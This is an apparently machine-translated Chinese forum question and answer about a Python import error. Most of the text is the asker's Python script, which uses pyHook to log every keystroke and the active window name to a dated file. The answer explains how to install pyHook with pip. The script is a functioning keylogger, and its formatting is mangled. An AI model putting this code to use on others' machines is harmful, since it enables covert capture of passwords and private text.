因此,在我的代码中,我有我使用的所有模块,但是我总是会收到错误,说它找不到该模块。请帮助谢谢。
代码:
import pyHook, pythoncom, sys, logging , os , winsound , time
date = "C:\Users\Cameron PC\Desktop\Essays\files\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt"
x = time.ctime()
with open(date, "a") as f:
f.write("n")
f.write("[" + x + "] : " )
def OnKeyboardEvent(event):
global x
if event.Key =="Return" :
with open(date, "a") as f:
f.write(" {Enter}n")
f.write("[" + x +"|"+event.WindowName + "] : " )
elif event.Key == "Space" :
with open(date, "a") as f:
f.write(" ")
elif event.Key == "Back" :
with open(date, "a") as f:
f.write("{Bkspc}")
else :
with open(date, "a") as f:
f.write(event.Key)
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
尝试以下内容:
首先,从这里下载pyhook,请确保您选择了正确的版本。
第二,在下载的文件夹中打开CMD,然后键入pip install pyHook-1.5.1-cp27-none-win32.whl
,或者如果选择了其他版本,请键入相关版本。